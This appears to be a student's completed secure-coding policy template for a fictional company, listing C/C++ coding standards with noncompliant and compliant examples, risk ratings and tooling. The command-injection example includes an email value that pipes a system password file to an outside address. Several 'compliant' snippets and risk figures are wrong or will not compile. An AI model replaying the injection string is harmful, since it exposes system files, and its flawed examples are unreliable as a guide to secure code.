**Green Pace Developer: Security Policy Guide**



# Green Pace Secure Development Policy

## Contents

[Overview 2](#_Toc52464053)

[Purpose 2](#_Toc52464054)

[Scope 2](#_Toc52464055)

[Module Three Milestone 2](#_Toc52464056)

[Ten Core Security Principles 2](#_Toc52464057)

[C/C++ Ten Coding Standards 3](#_Toc52464058)

1. [Validate Input Data 4](#_Toc52464059)
2. [Heed Compiler Warnings 5](#_Toc52464060)
3. [Architect and Design for Security Policies 6](#_Toc52464061)
4. [Keep It Simple 7](#_Toc52464062)
5. [Default Deny 8](#_Toc52464063)
6. [Adhere to the Priciple of Least Privilege 9](#_Toc52464064)
7. [Sanitize Data Sent to Other Systems 10](#_Toc52464065)
8. [Practice Defense in Depth 11](#_Toc52464066)
9. [Use Effective Quality Assurance Techniques 13](#_Toc52464067)
10. [AAdopt a Secure Coding Standard 14](#_Toc52464068)

[Defense-in-Depth Illustration 15](#_Toc52464069)

[Project One 15](#_Toc52464070)

[1. Revise the C/C++ Standards 15](#_Toc52464071)

[2. Risk Assessment 15](#_Toc52464072)

[3. Automated Detection 15](#_Toc52464073)

[4. Automation 15](#_Toc52464074)

[5. Summary of Risk Assessments 16](#_Toc52464075)

[6. Create Policies for Encryption and Triple A 16](#_Toc52464076)

[7. Map the Principles 17](#_Toc52464077)

[Audit Controls and Management 18](#_Toc52464078)

[Enforcement 18](#_Toc52464079)

[Exceptions Process 18](#_Toc52464080)

[Distribution 19](#_Toc52464081)

[Policy Change Control 19](#_Toc52464082)

[Policy Version History 19](#_Toc52464083)

[Appendix A Lookups 19](#_Toc52464084)

[Approved C/C++ Language Acronyms 19](#_Toc52464085)

## Overview

Software development at Green Pace requires consistent implementation of secure principles to all developed applications. Consistent approaches and methodologies must be maintained through all policies that are uniformly defined, implemented, governed, and maintained over time.

## Purpose

This policy defines the core security principles; C/C++ coding standards; authorization, authentication, and auditing standards; and data encryption standards. This article explains the differences between policy, standards, principles, and practices (guidelines and procedure): [Understanding the Hierarchy of Principles, Policies, Standards, Procedures, and Guidelines](https://www.linkedin.com/pulse/understanding-hierarchy-principles-policies-standards-wally-beddoe/).

## Scope

This document applies to all staff that create, deploy, or support custom software at Green Pace.

## Module Three Milestone

### Ten Core Security Principles

| **Principles** | Write a short paragraph explaining each of the 10 principles of security. |
| --- | --- |
| 1. ValidateInput Data | Test inputs to make sure only proper data enters an information system, and improper or malicious data is prevented. |
| 1. Heed Compiler Warnings | These notifications are useful in debugging issues that may arise later in code. Warnings won’t impede the compiler from running but they are important when considering security. |
| 1. Architect and Design for Security Policies | Design and Architect your software according to privilege levels to ensure it’s properly secure. |
| 1. Keep It Simple | Avoid complex solutions when necessary to decrease bugs and vulnerabilities. |
| 1. Default Deny | Automatically assign users with no access and only change when required. This will help prevent accidental assignment of rights |
| 1. Adhere to the Principle of Least Privilege | Be sure to make processes require only what is necessary for privilegs |
| 1. Sanitize Data Sent to Other Systems | Function calls without context or even unused functions may expose data to attacks. Sanitize data between passing to other systems to ensure correct data |
| 1. Practice Defense in Depth | Use an appropriate amount of layers of defense to balance security and performance |
| 1. Use Effective Quality Assurance Techniques | Thoroughly test code with things like penetration testing, and audit code frequently to check for optimizations and bug fixes. |
| 1. Adopt a Secure Coding Standard | Choose a strong foundation for a secure coding standard to keep code clean and quality |

### C/C++ Ten Coding Standards

Complete the coding standards portion of the template according to the Module Three milestone requirements. In Project One, follow the instructions to add a layer of security to the existing coding standards. Please start each standard on a new page, as they may take up more than one page. The first seven coding standards are labeled by category. The last three are blank so you may choose three additional standards. Be sure to label them by category and give them a sequential number for that category. Add compliant and noncompliant sections as needed to each coding standard.

#### Coding Standard 1

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Data Type** | [STD-001-CPP] | Follow the ‘one definition’ rule |

<https://wiki.sei.cmu.edu/confluence/display/cplusplus/DCL60-CPP.+Obey+the+one-definition+rule>

| **Noncompliant Code** |
| --- |
| Two similar structures define S with different definitions |
| // a.cpp  struct S {  **int** a;  };    // b.cpp  class S {  public:  **int** a;  }; |

| **Compliant Code** |
| --- |
| Create a header that is used for each object |
| // S.h  struct S {  **int** a;  };    // a.cpp  #include "S.h"    // b.cpp  #include "S.h" |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  Ten: Adopt a Secure Coding Standard  Four: Keep it Simple  Three: Architect and Design for Security Policies |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Not Likely | High | P3 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| LDRA Suite | 10.6 | 287S | Implementation Full |
| Axivision Suite | 7.8 | CertC++-DCL60 | - |
| Astree | 24.04 | CERT C++ | Implementation Partial |
| Parasoft C++ test | 2024.1 | CERT\_CPP-DCL60-A | Unique indentifiers |

#### Coding Standard 2

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Data Value** | [STD-002-C] | If the max size of a data value is reached with without end, the value will wrap to opposite value limit |

| **Noncompliant Code** |
| --- |
| The code below shows two integers with wrapping potentially occurring. If the value of usum is used, it may produce isufficient memory for other operations. |
| void func(unsigned int ui\_a, unsigned int ui\_b) {  unsigned int usum = ui\_a + ui\_b;  /\* ... \*/  } |

| **Compliant Code** |
| --- |
| The check is added to test a precondition before continuing to ensure the data is secure |
| void func(unsigned int ui\_a, unsigned int ui\_b) {  unsigned int usum;  if (UINT\_MAX - ui\_a < ui\_b) {  /\* Handle error \*/  } else {  usum = ui\_a + ui\_b;  }  /\* ... \*/  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  One: Validate Input Data |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | High | P9 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| Astree | 23.04 | Integer-overflow | Full check |
| Axivion Suite | 7.8 | CERT\_C-INT | Implementation full |
| Parasoft C test | 2024.1 | CERT\_C-INT | Aavoid integer overflow |
| Polyspace Bug Finder | R2024a | CERT C: INT30-C | Unsigned int overflow |

#### Coding Standard 3

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **String Correctness** | [STD-003-CPP] | Avoid creating string from a null pointer |

| **Noncompliant Code** |
| --- |
| Calling getenv() creates a string object in this instance. However, if getenv() returns a null pointer, undefined behavior could be a result. |
| #include <cstdlib>  #include <string>    void f() {    std::string tmp(std::getenv("TMP"));    if (!tmp.empty()) {      // ...    }  } |

| **Compliant Code** |
| --- |
| Checking null prior to the string objects creating |
| #include <cstdlib>  #include <string>    void f() {    const **char** \*tmpPtrVal = std::**getenv**("TMP");    std::string tmp(tmpPtrVal ? tmpPtrVal : "");    if (!tmp.empty()) {      // ...    }  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  Two: Heed Compiler Warnings |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| Parasoft C++ | 2024.1 | CERT\_CPP-STR51A | Avoid null pointer dereference |
| Astree | 23.04 | Assert\_failure | - |
| Helix QAC | 2023.2 | C++4770-4774 | - |
| Klocwork | 2024.1 | NPD.CHECK.X  NPD.CONST.X | - |

#### Coding Standard 4

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **SQL Injection** | [STD-004-C] | Strings that are passed through another system may result in unintended actions and create vulnerabilities, characters should be checked and sanitized |

| **Noncompliant Code** |
| --- |
| An injection can occur if the user enters something like: “[emailattempt@email.com](mailto:emailattempt@email.com); cat /etc/password | mail notcorrect@email.com” which may result in the system providing access incorrectly |
| sprintf(buffer, "/bin/mail %s < /tmp/email", addr);  system(buffer); |

| **Compliant Code** |
| --- |
| Sanitizing and checking the data against a list of acceptable characters |
| static **char** ok\_chars[] = "abcdefghijklmnopqrstuvwxyz"                           "ABCDEFGHIJKLMNOPQRSTUVWXYZ"                           "1234567890\_-.@";  **char** user\_data[] = "Bad char 1:} Bad char 2:{";  **char** \*cp = user\_data; /\* Cursor into string \*/  const **char** \*end = user\_data + **strlen**( user\_data);  for (cp += **strspn**(cp, ok\_chars); cp != end; cp += **strspn**(cp, ok\_chars)) {    \*cp = '\_';  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  Seven: Sanitize Data |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| Klocwork | 2024.1 | NNTS.TAINTED | - |
| LDRA Suite | 10.6 | 108D / 109D | Implementation Partial |
| Polyspace Bug Finder | R2024A | CERT C STRx | Injection protection |
| Parasoft C test | 2024.1 | CERT C STRx | External command checks |

#### Coding Standard 5

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Memory Protection** | [STD-005-CPP] | You must not access memory after freed |

| **Noncompliant Code** |
| --- |
| A write after free can be exploited to run code with the elevated permissions of the function |
| #include <new>    struct S {    void f();  };    void g() noexcept(false) {    S \*s = new S;    // ...    delete s;    // ...    s->f();  } |

| **Compliant Code** |
| --- |
| Memory that is dynamically allocated will not be deallocated until it’s not needed |
| #include <new>    struct S {    void f();  };    void g() noexcept(false) {    S \*s = new S;    // ...    s->f();    delete s;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  Nine: Use Effective Quality Assurance Techniques  Six: Adhere to Principle of Least Privilege  Five: Default Deny  Two: Head Compiler Warnings |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| Coverity | 2024.6.0 | Use\_after\_free | Detects specific instances of memory deallocation during multiple occasions |
| Clang | 20.0.0 | Cplusplus.NewDelete(C++) | Check for double-free and use-after-free problems. Traces memory managed by new/delete |
| Parasoft C++ test | 2024.1 | CERT\_CPP-MEM50 | Restrict use of freed resources |
| Parasoft insure | - | - | Detection for runtime errors |

#### Coding Standard 6

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Assertions** | [STD-006-C] | To test values of constants, use static assertions |

| **Noncompliant Code** |
| --- |
| Asserts a property of the memory struct using the assert() function |
| #include <assert.h>    struct timer {    unsigned **char** MODE;    unsigned **int** DATA;    unsigned **int** COUNT;  };    **int** func(void) {  **assert**(sizeof(struct timer) == sizeof(unsigned **char**) + sizeof(unsigned **int**) + sizeof(unsigned **int**));  } |

| **Compliant Code** |
| --- |
| Adding a conditional statement can enhance handling for constants |
| struct timer {    unsigned **char** MODE;    unsigned **int** DATA;    unsigned **int** COUNT;  };    #if (sizeof(struct timer) != (sizeof(unsigned char) + sizeof(unsigned int) + sizeof(unsigned int)))    #error "Structure must not have any padding"  #endif |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  Nine: Use Effective Quality Assurance Techniques  Three: Architect and Design for Security Policies |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Medium | Not Likely | Medium | P4 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| LDRA Suite | 10.6 | 44S | Increased enforce |
| Parasoft C++ | 2024.1 | CERT\_C-ERR | Avoid assertions |

#### Coding Standard 7

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Exceptions** | [STD-007-CPP] | Thrown exceptions must be caught or the stack my not properly close |

| **Noncompliant Code** |
| --- |
| The throwing function does not have a catch |
| void throwing\_func() noexcept(false);    void f() {  throwing\_func();  }    int main() {  f();  } |

| **Compliant Code** |
| --- |
| Nests throwing\_func() to be handled |
| void throwing\_func() noexcept(false);    void f() {    throwing\_func();  }    **int** main() {    try {      f();    } catch (...) {      // Handle error    }  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  Ten: Adopt a Secure Coding Standard  Nine: Use Effective Quality Assurance Tecniques |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Likely | Medium | P4 | P3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| LDRA suite | 10.6 | 122S | Enhanced enforce |
| Polyspace Bug Finder | R2024a | CERT C++: ERR50 | Implicit termination function check |

#### Coding Standard 8

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| Sequence of Events | [STD-008-CPP] | Constructors and initialize objects in the correct order |

| **Noncompliant Code** |
| --- |
| Attempting to initialize exampleVal first and proceeds to initialize needsExampleVal based on exampleVal. This may cause unexpected values due to the attempt to read exampleVal |
| class C {  int needsExampleVal;  int exampleVal;  public:  C(int val) : exampleVal(val), needsExampleVal(exampleVal + 1) {}  }; |

| **Compliant Code** |
| --- |
| Changing the order of declaration so dependency will be in the correct order |
| Class C {  Int exampleVal;  Int needsExampleVal;  public:  C(int val) : exampleVal(val), needsExampleVal(exampleVal + 1) {}  }; |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  Ten: Adopt a Secure Coding Standard  Four: Keep it Simple |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Medium | Not Likely | Medium | P4 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| Axivison suite | 7.8 | CERTC++OOP53 |  |
| Astree | 24.04 | Initializer-list-order | Full check |
| Parasoft C++ | 2024.1 | CERT\_CPP-OOP53 | [Insert text.] |
| LDRA Suite | 10.6 | 206S | Full implementation |

#### Coding Standard 9

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| Integer Precision | [STD-009-C] | Integer that contain padding bits contribute to the size which does not inherit, which can lead to incorrect values |

| **Noncompliant Code** |
| --- |
| When unsigned integers contain padding bits it can contain values that are too large |
| #include <limits.h>    unsigned int pow2(unsigned int exp) {  if (exp >= sizeof(unsigned int) \* CHAR\_BIT) {  /\* Handle error \*/  }  return 1 << exp;  } |

| **Compliant Code** |
| --- |
| The function popcount() determines precision of an integer whether signed or unsigned |
| #include <stddef.h>  #include <stdint.h>    /\* Returns the number of set bits \*/  size\_t popcount(uintmax\_t num) {  size\_t precision = 0;  while (num != 0) {  if (num % 2 == 1) {  precision++;  }  num >>= 1;  }  return precision;  }  #define PRECISION(umax\_value) popcount(umax\_value) |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** [Name the principle and explain how it maps to this standard.] |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Not likely | Medium | P2 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| Astree | 24.04 |  | Overflow detection w/ int precision |
| Polyspace bug finder | R2024a | CERTC: INT35 | Detects int precisions exceeding limit |
| Parasoft C | 2024.1 | CERT\_C-INT35 | Use correct integer precisions when checking the right hand operand of the shift operator |

#### Coding Standard 10

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| Buffer Overflow | [STD-010-CPP] | [Rationalize the standard.] |

| **Noncompliant Code** |
| --- |
| Using strcopy() attempts to copy 10 characters to an unchecked size of a destination, this could overflow or lead to undefined behavior. |
| #include <iostream>  #include <cstring>  void unsafeFunction(const char\* input) {  char buffer[10];  strcpy(buffer, input);  std::cout << "Buffer: " << buffer << std::endl;  }  int main() {  const char\* longString = "This is a very long string that will overflow the buffer!";  unsafeFunction(longString);  return 0;  } |

| **Compliant Code** |
| --- |
| Strncopy() is used instead of strcpy() to ensure buffer is null-terminated, preventing overflow |
| #include <iostream>  #include <cstring>  void safeFunction(const char\* input) {  char buffer[10];  strncpy(buffer, input, sizeof(buffer) - 1); // Ensure no overflow  buffer[sizeof(buffer) - 1] = '\0'; // Null-terminate the buffer  std::cout << "Buffer: " << buffer << std::endl;  }  int main() {  const char\* longString = "This is a very long string but will be truncated safely.";  safeFunction(longString);  return 0;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  Ten: Adopt a Secure Coding Standard  Two: Keep it Simple |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P27 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| Parasoft C/C++ | 2024.1 | CER\_C-STR38 | Identify narrow and wide strings and functions containing such |
| Polyspace bug finder | R2024a | CERTC:STR38 | Checks for incorrect usage of narrow or wide strings |

### Defense-in-Depth Illustration

This illustration provides a visual representation of the defense-in-depth best practice of layered security.



## Project One

There are seven steps outlined below that align with the elements you will be graded on in the accompanying rubric. When you complete these steps, you will have finished the security policy.

### Revise the C/C++ Standards

You completed one of these tables for each of your standards in the Module Three milestone. In Project One, add revisions to improve the explanation and examples as needed. Add rows to accommodate additional examples of compliant and noncompliant code. Coding standards begin on the security policy.

### Risk Assessment

Complete this section on the coding standards tables. Enter high, medium, or low for each of the headers, then rate it overall using a scale from 1 to 5, 5 being the greatest threat. You will address each of the seven policy standards. Fill in the columns of severity, likelihood, remediation cost, priority, and level using the values provided in the appendix.

### Automated Detection

Complete this section of each table on the coding standards to show the tools that may be used to detect issues. Provide the tool name, version, checker, and description. List one or more tools that can automatically detect this issue and its version number, name of the rule or check (preferably with link), and any relevant comments or description—if any. This table ties to a specific C++ coding standard.

### Automation

Provide a written explanation using the image provided.



Automation will be used for the enforcement of and compliance to the standards defined in this policy. Green Pace already has a well-established DevOps process and infrastructure. Define guidance on where and how to modify the existing DevOps process to automate enforcement of the standards in this policy. Use the DevSecOps diagram and provide an explanation using that diagram as context.

By integrating security measures into every step of the DevOps toolchain, DevOps evolves into DevSecOps, where automation enforces standards and consistency. In the "Assess and Plan" phase, threat modeling is emphasized, laying the groundwork for secure development. The "Design" and "Build" phases incorporate IDE security, and static application testing along with automated security scans are integral to the "Verify & Test" phase. During these phases, unit testing tools like QUnit can break code into testable sections, making the next round of assessment and planning more efficient.

In the production phase, continuous automated testing is critical. Penetration tests, integrity checks, and defense-in-depth measures are automated to ensure consistent security. Network monitoring, performance logs, and automated alerts for risky events provide full-time coverage, allowing immediate responses to threats as they occur. Just as testing for quality assurance is performed early and often, security testing follows the same principle, reinforcing the importance of early and continuous security assessments throughout the DevSecOps lifecycle.

### Summary of Risk Assessments

Consolidate all risk assessments into one table including both coding and systems standards, ordered by standard number.

| Rule | Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- | --- |
| STD-001 | High | Not Likely | High | High | 3 |
| STD-002 | High | Likely | High | High | 2 |
| STD-003 | High | Likely | Medium | High | 1 |
| STD-004 | High | Likely | Medium | High | 1 |
| STD-005 | High | Likely | Medium | High | 1 |
| STD-006 | Medium | Not likely | Medium | Low | 3 |
| STD-007 | Low | Likely | Medium | Low | 3 |
| STD-008 | Medium | Not likely | Medium | Low | 3 |
| STD-009 | Low | Not likely | Low | Low | 3 |
| STD-010 | High | Likely | High | High | 3 |

### Create Policies for Encryption and Triple A

Include all three types of encryption (in flight, at rest, and in use) and each of the three elements of the Triple-A framework using the tables provided***.***

* 1. Explain each type of encryption, how it is used, and why and when the policy applies.
  2. Explain each type of Triple-A framework strategy, how it is used, and why and when the policy applies.

Write policies for each and explain what it is, how it should be applied in practice, and why it should be used.

| 1. **Encryption** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Encryption at rest | Data that is currently stored must be encrypted to ensure safety. |
| Encryption in flight | Data must remain encrypted during transmission between entities. Attacks often happen to intercept data between two points. |
| Encryption in use | Data that is being used must be protected with multiple layers of defense. Ensure data control and protection schemas are in place and manage access rights to mitigate risk. |

| 1. **Triple-A Framework\*** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Authentication | Authentication is another layer of defense when dealing with account credentials. It refers to a layer of security where the user attempting to access a point is required to confirm their identity through alternative like text message, authenticator apps, emails, phone calls, etc. |
| Authorization | Authorization is the authenticated persons privileges and should be applied to meet the least privileges given practice. Limiting each user to the bare minimum of what is required for their role mitigates risk and reduces the chances of compromise. |
| Accounting | Accounting covers the scope of monitoring activities and keeping track of interactions within the system. Useful for reducing the amount of active risk, along with following up with an event to provide records and information about how it occurred. |

**\***Use this checklist for the Triple A to be sure you include these elements in your policy:

* User logins
* Changes to the database
* Addition of new users
* User level of access
* Files accessed by users

### Map the Principles

Map the principles to each of the standards, and provide a justification for the connection between the two. In the Module Three milestone, you added definitions for each of the 10 principles provided. Now it’s time to connect the standards to principles to show how they are supported by principles. You may have more than one principle for each standard, and the principles may be used more than once. Principles are numbered 1 through 10. You will list the number or numbers that apply to each standard, then explain how each of these principles supports the standard. This exercise demonstrates that you have based your security policy on widely accepted principles. Linking principles to standards is a best practice.

**NOTE:** Green Pace has already successfully implemented the following:

* Operating system logs
* Firewall logs
* Anti-malware logs

The only item you must complete beyond this point is the Policy Version History table.

## Audit Controls and Management

Every software development effort must be able to provide evidence of compliance for each software deployed into any Green Pace managed environment.

Evidence will include the following:

* Code compliance to standards
* Well-documented access-control strategies, with sampled evidence of compliance
* Well-documented data-control standards defining the expected security posture of data at rest, in flight, and in use
* Historical evidence of sustained practice (emails, logs, audits, meeting notes)

## Enforcement

The office of the chief information security officer (OCISO) will enforce awareness and compliance of this policy, producing reports for the risk management committee (RMC) to review monthly. Every system deployed in any environment operated by Green Pace is expected to be in compliance with this policy at all times.

Staff members, consultants, or employees found in violation of this policy will be subject to disciplinary action, up to and including termination.

## Exceptions Process

Any exception to the standards in this policy must be requested in writing with the following information:

* Business or technical rationale
* Risk impact analysis
* Risk mitigation analysis
* Plan to come into compliance
* Date for when the plan to come into compliance will be completed

Approval for any exception must be granted by chief information officer (CIO) and the chief information security officer (CISO) or their appointed delegates of officer level.

Exceptions will remain on file with the office of the CISO, which will administer and govern compliance.

## Distribution

This policy is to be distributed to all Green Pace IT staff annually. All IT staff will need to certify acceptance and awareness of this policy annually.

## Policy Change Control

This policy will be automatically reviewed annually, no later than 365 days from the last revision date. Further, it will be reviewed in response to regulatory or compliance changes, and on demand as determined by the OCISO.

## Policy Version History

| Version | Date | Description | Edited By | Approved By |
| --- | --- | --- | --- | --- |
| 1.0 | 08/05/2020 | Initial Template | David Buksbaum |  |
| 1.1 | 7/30/2024 | Added module 3 requirements | Elliot Putnam |  |
| 1.2 | 8/6/2024 | Added module 6 requirements | Elliot Putnam |  |

## Appendix A Lookups

### Approved C/C++ Language Acronyms

| Language | Acronym |
| --- | --- |
| C++ | CPP |
| C | CLG |
| Java | JAV |